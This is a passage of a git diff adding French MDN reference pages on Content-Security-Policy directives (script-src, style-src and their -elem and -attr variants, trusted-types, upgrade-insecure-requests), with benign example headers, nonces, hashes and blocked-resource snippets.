+<div class="hidden"> +<p>TODO: Add comprehensive examples.</p> +</div> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("script-src-attr")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.html b/files/fr/web/http/headers/content-security-policy/script-src/index.html new file mode 100644 index 0000000000..d050eefcaa --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/script-src/index.html @@ -0,0 +1,176 @@ +--- +title: 'CSP: script-src' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Script + - Security + - Sécurité + - script-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src</strong></code> spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (<code>onclick</code>) et <a href="/en-US/docs/Web/XSLT">les feuilles de style XSLT</a> pouvant déclencher l'exécution de scripts.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src <source>; +Content-Security-Policy: script-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: script-src https://example.com/</pre> + +<p>Ces scripts seront bloqués et ne seront pas chargés ou exécutés :</p> + +<pre class="brush: html notranslate"><script src="https://not-example.com/js/library.js"></script></pre> + +<p>Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :</p> + +<pre class="brush: html notranslate"><button id="btn" onclick="doSomething()"></pre> + +<p>Vous devez les remplacer par des appels à la méthode {{domxref("EventTarget.addEventListener", "addEventListener")}} :</p> + +<pre class="brush: js notranslate">document.getElementById("btn").addEventListener('click', doSomething);</pre> + +<h3 id="Scripts_embarqués_non_fiables">Scripts embarqués non fiables</h3> + +<div class="note"> +<p><strong>Note :</strong> Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.</p> +</div> + +<p>Vous pouvez autoriser les scripts embarqués et les gestionnaires d'évènements par attributs en spécifiant la valeur <code>'unsafe-inline'</code>, des nonces ou des hashs correspondant au script.</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: script-src 'unsafe-inline'; +</pre> + +<p>Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarqués :</p> + +<pre class="brush: html notranslate"><script> + var inline = 1; +</script></pre> + +<p>Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: script-src 'nonce-2726c7f26c'</pre> + +<p>Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} :</p> + +<pre class="brush: html notranslate"><script nonce="2726c7f26c"> + var inline = 1; +</script></pre> + +<p>Autrement, vous pouvez créer des hashs à partir de vos scripts. CSP accepte les algorithmes sha256, sha384 et sha512.</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='</pre> + +<p>Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).</p> + +<pre class="brush: html notranslate"><script>var inline = 1;</script></pre> + +<h3 id="Expressions_dévaluation_non_fiables">Expressions d'évaluation non fiables</h3> + +<p>La valeur <code>'unsafe-eval'</code> contrôle différents méthodes qui créent du code JavaScript à partir de chaines de caractères. Si <code>'unsafe-eval'</code> n'est pas spécifiée avec la directive <code>script-src</code>, ces méthodes seront bloquées et n'auront aucun effet :</p> + +<ul> + <li>{{jsxref("eval", "eval()")}}</li> + <li>{{jsxref("Function", "Function()")}}</li> + <li>En passant une chaine à des méthodes tel que : <code>window.setTimeout("alert(\"Hello World!\");", 500);</code> + <ul> + <li>{{domxref("window.setTimeout")}}</li> + <li>{{domxref("window.setInterval")}}</li> + <li>{{domxref("window.setImmediate")}}</li> + </ul> + </li> + <li>{{domxref("window.execScript")}} {{non-standard_inline}} (IE10 et versions précédentes)</li> +</ul> + +<h3 id="strict-dynamic">strict-dynamic</h3> + +<p>La valeur <code>'strict-dynamic'</code> spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute liste de permissions ou expressions de sources telles que <code>'self'</code> ou <code>'unsafe-inline'</code> sont ignorées. Par exemple, une règle telle que <code>script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/</code> autoriserait le chargement de scripts comme <code><script nonce="R4nd0m" src="https://example.com/loader.js"></code> et s'appliquerait ensuite à tous les scripts chargés par <code>loader.js</code>, mais interdirait les scripts chargés depuis <code>https://whitelisted.com/</code> à moins qu'ils soient accompagnés d'un nonce ou chargés depuis un script dont la source est de confiance.</p> + +<pre class="brush: bash notranslate">script-src 'strict-dynamic' 'nonce-<em>someNonce</em>'</pre> + +<p><em>Ou</em></p> + +<pre class="brush: bash notranslate">script-src 'strict-dynamic' 'sha256-<em>base64EncodedHash</em>'</pre> + +<p>Il est possible de déployer <code>strict-dynamic</code> de manière rétrocompatible, sans chercher à connaitre l'agent utilisateur. Cette directive :</p> + +<pre class="brush: bash notranslate">script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</pre> + +<p>fonctionnera comme <code>'unsafe-inline' https:</code> pour les navigateurs supportant CSP1, <code>https: 'nonce-abcdefg'</code> pour ceux supportant CSP2 et comme <code>'nonce-abcdefg' 'strict-dynamic'</code> pour ceux supportant CSP3.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-script-src", "script-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-script-src", "script-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{CSP("script-src-elem")}}</li> + <li>{{CSP("script-src-attr")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html new file mode 100644 index 0000000000..9944696998 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html @@ -0,0 +1,105 @@ +--- +title: 'CSP: style-src-attr' +slug: Web/HTTP/Headers/Content-Security-Policy/style-src-attr +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Style + - Sécurité + - source + - style-src + - style-src-attr +translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-attr +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>style</strong></code><strong><code>-src-attr</code></strong> spécifie les sources valides pour des feuilles de styles appliquées à des éléments individuels du DOM par l'attribut <code>style</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + <p>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: style-src-attr <source>; +Content-Security-Policy: style-src-attr <source> <source>; +</pre> + +<p><code>style-src-attr</code> peut être utilisée conjointement à {{CSP("style-src")}} :</p> + +<pre class="notranslate">Content-Security-Policy: <code>style</code>-src <source>; +Content-Security-Policy: <code>style</code>-src-attr <source>;</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<dl> + <dt>'report-sample'</dt> + <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<div class="hidden"> +<p>TODO: add examples</p> +</div> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-style-src-attr", "style-src-attr")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src-attr")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("style-src-elem")}}</li> + <li>{{HTTPHeader("Link")}} header</li> + <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li> + <li>{{cssxref("@import")}}</li> + <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> + <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> + <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html new file mode 100644 index 0000000000..26a0a2c9d7 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html @@ -0,0 +1,105 @@ +--- +title: 'CSP: style-src-elem' +slug: Web/HTTP/Headers/Content-Security-Policy/style-src-elem +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Style + - Sécurité + - source + - style-src + - style-src-elem +translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-elem +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>style</strong></code><strong><code>-src-elem</code></strong> spécifie les sources valides pour les feuilles de styles embarquées avec l'élément {{HTMLElement("style")}} et pour l'élément {{HTMLElement("link")}} avec l'attribut <code>rel="stylesheet"</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + <p>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: style-src-elem <source>; +Content-Security-Policy: style-src-elem <source> <source>; +</pre> + +<p><code>style-src-elem</code> peut être utilisée conjointement à {{CSP("style-src")}} :</p> + +<pre class="notranslate">Content-Security-Policy: <code>style</code>-src <source>; +Content-Security-Policy: <code>style</code>-src-elem <source>;</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<dl> + <dt>'report-sample'</dt> + <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<div class="hidden"> +<p>TODO: add examples</p> +</div> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-style-src-elem", "style-src-elem")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src-elem")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("style-src-attr")}}</li> + <li>{{HTTPHeader("Link")}} header</li> + <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li> + <li>{{cssxref("@import")}}</li> + <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> + <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> + <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/style-src/index.html b/files/fr/web/http/headers/content-security-policy/style-src/index.html new file mode 100644 index 0000000000..d373fa8477 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/style-src/index.html @@ -0,0 +1,181 @@ +--- +title: 'CSP: style-src' +slug: Web/HTTP/Headers/Content-Security-Policy/style-src +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Style + - Sécurité + - source + - style-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>style-src</code></strong> spécifie les sources valides pour des feuilles de style.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: style-src <source>; +Content-Security-Policy: style-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: style-src https://example.com/</pre> + +<p>Ces feuilles de style seront bloquées et ne se chargeront pas :</p> + +<pre class="brush: html notranslate"><link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> + +<style> +#inline-style { background: red; } +</style> + +<style> + @import url("https://not-example.com/styles/print.css") print; +</style></pre> + +<p>De même que les styles chargés avec l'en-tête {{HTTPHeader("Link")}} :</p> + +<pre class="brush: bash notranslate">Link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet +</pre> + +<p>Les attributes de style seront aussi bloqués :</p> + +<pre class="brush: html notranslate"><div style="display:none">Foo</div></pre> + +<p>De même que les styles ajoutés par JavaScript en définissant l'attribut <code>style</code> directement, ou en définissant la propriété {{domxref("CSSStyleDeclaration.cssText", "cssText")}} :</p> + +<pre class="brush: js notranslate">document.querySelector('div').setAttribute('style', 'display:none;'); +document.querySelector('div').style.cssText = 'display:none;';</pre> + +<p>Toutefois, les propriétés de styles qui sont définies directement dans l'attribut {{domxref("HTMLElement.style", "style")}} ne seront pas bloquées, permettant aux utilisateurs de manipuler sainement les styles avec JavaScript :</p> + +<pre class="brush: js notranslate">document.querySelector('div').style.display = 'none';</pre> + +<p>Ce genre de manipulations peut être bloqué en désactivant JavaScript au moyen de la directive CSP {{CSP("script-src")}}.</p> + +<h3 id="Styles_embarqués_non_fiables">Styles embarqués non fiables</h3> + +<div class="note"> +<p><strong>Note :</strong> Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.</p> +</div> + +<p>Vous pouvez autoriser les styles embarqués en spécifiant la valeur <code>'unsafe-inline'</code>, des nonces ou des hashs correspondant à la feuille de style.</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: style-src 'unsafe-inline'; +</pre> + +<p>Cette directive CSP autorisera toutes les feuilles de styles embarquées telles que l'élément {{HTMLElement("style")}} et l'attribut <code>style</code> sur tous les éléments :</p> + +<pre class="brush: html notranslate"><style> +#inline-style { background: red; } +</style> + +<div style="display:none">Foo</div> +</pre> + +<p>Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: style-src 'nonce-2726c7f26c'</pre> + +<p>Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("style")}} :</p> + +<pre class="brush: html notranslate"><style nonce="2726c7f26c"> +#inline-style { background: red; } +</style></pre> + +<p>Autrement, vous pourrez créer des hashs à partir de vos feuilles de styles. CSP accepte les algorithmes sha256, sha384 et sha512.</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: style-src 'sha256-a330698cbe9dc4ef1fb12e2ee9fc06d5d14300262fa4dc5878103ab7347e158f'</pre> + +<p>Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).</p> + +<pre class="brush: html notranslate"><style>#inline-style { background: red; }</style></pre> + +<h3 id="Style_non_fiables">Style non fiables</h3> + +<p>La valeur <code>'unsafe-eval'</code> contrôle différente méthodes de mise en page qui créent des déclarations de style à partir de chaines de caractères. Si <code>'unsafe-eval'</code> n'est pas spécifiée avec la directive <code>style-src</code>, ces méthodes seront bloquées et n'auront aucun effet :</p> + +<ul> + <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> + <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> + <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> +</ul> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-style-src", "style-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-style-src", "style-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("style-src-elem")}}</li> + <li>{{CSP("style-src-attr")}}</li> + <li>{{HTTPHeader("Link")}} header</li> + <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li> + <li>{{cssxref("@import")}}</li> + <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> + <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> + <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/trusted-types/index.html b/files/fr/web/http/headers/content-security-policy/trusted-types/index.html new file mode 100644 index 0000000000..447823ede5 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/trusted-types/index.html @@ -0,0 +1,89 @@ +--- +title: 'CSP: trusted-types' +slug: Web/HTTP/Headers/Content-Security-Policy/trusted-types +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Security + - Sécurité + - source + - trusted-types +translation_of: Web/HTTP/Headers/Content-Security-Policy/trusted-types +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>trusted-types</strong></code> {{experimental_inline}} informe l'agent utilisateur qu'il faut restreindre la création de règles Trusted Types (fonctions qui créent des valeurs typées non <span>falsifiables, dans le but de les passer au puits XSS du DOM au lieu de chaines de caractères).</span></p> + +<p><span>Conjointement à la directive <code><strong><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for">require-trusted-types-for</a></strong></code>, cette directive permet aux auteurs de définir des règles empêchant d'injecter des données dans le</span><span> DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.</span> Cette directive déclare une liste de permissions de noms de règles de Trusted Types créée avec <code>TrustedTypes.createPolicy</code> à partir de l'API Trusted Types.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="notranslate">Content-Security-Policy: trusted-types; +Content-Security-Policy: trusted-types 'none'; +Content-Security-Policy: trusted-types <policyName>; +Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates'; +</pre> + +<dl> + <dt><nomRègle></dt> + <dd>Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "<code>-#=_/@.%</code>". Une astérisque (<code>*</code>) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur <code>'allow-duplicates'</code> pourrait permettre d'être plus laxiste à l'avenir).</dd> + <dt><code>'none'</code></dt> + <dd>Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle).</dd> + <dt><code>'allow-duplicates'</code></dt> + <dd>Autorise la création de règles dont le nom a déjà été utilisé.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<p>Soit l'en-tête CSP :</p> + +<pre class="notranslate">Content-Security-Policy: trusted-types foo bar 'allow-duplicates';</pre> + +<p>Ce code génèrera une erreur car une des règles créées a un nom non autorisé :</p> + +<pre class="brush: js notranslate">if (typeof trustedTypes !== 'undefined') { + const policyFoo = trustedTypes.createPolicy('foo', {}); + const policyFoo2 = trustedTypes.createPolicy('foo', {}); + const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent. +} +</pre> + +<h2 id="Prothèse_démulation">Prothèse d'émulation</h2> + +<p>Un <a href="https://github.com/w3c/webappsec-trusted-types#polyfill">prothèse d'émulation pour les Trusted Types</a> est disponible sur Github.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a></td> + <td>Draft</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a></li> + <li><a href="https://web.dev/trusted-types">Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types</a></li> + <li>Trusted Types with <a href="https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types">DOMPurify</a> XSS sanitizer</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html new file mode 100644 index 0000000000..31cb9ce45b --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html @@ -0,0 +1,96 @@ +--- +title: 'CSP: upgrade-insecure-requests' +slug: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - Upgrade + - request + - requête + - upgrade-insecure-requests +translation_of: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>upgrade-insecure-requests</strong></code> informe l'agent utilisateur de traiter toutes les URL non sécurisées d'un site (servies avec HTTP) comme si elles avaient été remplacées par des URL sécurisées (servies avec HTTPS). Cette directive est prévue pour les sites web ayant un grand nombre d'URL non sécurisées héritées du passé et qui ont besoin d'être récrites.</p> + +<p class="note">La directive <code>upgrade-insecure-requests</code> est évaluée avant la directive {{CSP("block-all-mixed-content")}} et si cette elle est définie, cette dernière est effectivement ignorée. Il est recommendé de ne définir que l'une des deux directives mais non les deux, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.</p> + +<p>The <code>upgrade-insecure-requests</code> directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate <code>max-age</code> to ensure that users are not subject to SSL stripping attacks.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy: upgrade-insecure-requests;</pre> + +<h2 id="Exemples">Exemples</h2> + +<p>Soit cet en-tête CSP :</p> + +<pre class="notranslate">Content-Security-Policy: upgrade-insecure-requests; +</pre> + +<p>Et cette balise meta :</p> + +<pre class="brush: html notranslate"><meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"></pre> + +<p>Avec cet en-tête défini sur le domaine example.com voulant migrer d'HTTP à HTTPS, les requêtes pour des ressources non sécurisées et non navigationnelles sont automatiquement converties (qu'elles soient internes ou externes).</p> + +<pre class="brush: html notranslate"><img src="http://example.com/image.png"> +<img src="http://not-example.com/image.png"></pre> + +<p>Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucune requête non sécurisée ne sera envoyée. Notez que si la ressource demandée n'est pas actuellement disponible via HTTPS, la requête échouera sans se rabattre sur HTTP.</p> + +<pre class="brush: html notranslate"><img src="https://example.com/image.png"> +<img src="https://not-example.com/image.png"></pre> + +<p>Les conversions navigationnelles vers des ressources externes amènent un risque significatif de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci :</p> + +<pre class="brush: html notranslate"><a href="https://example.com/">Home</a> +<a href="http://not-example.com/">Home</a></pre> + +<h3 id="Identifier_des_requêtes_non_sécurisées">Identifier des requêtes non sécurisées</h3> + +<p>À l'aide de l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et de la directive {{CSP("report-uri")}}, vous pouvez mettre en place une stratégie de rapportage de violations sans bloquage conjointement à une stratégie de conversion comme :</p> + +<pre class="notranslate">Content-Security-Policy: upgrade-insecure-requests; default-src https: +Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint</pre> + +<p>De cette manière, vous convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie de rapportage identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}}</td> + <td>{{Spec2('Upgrade Insecure Requests')}}</td> + 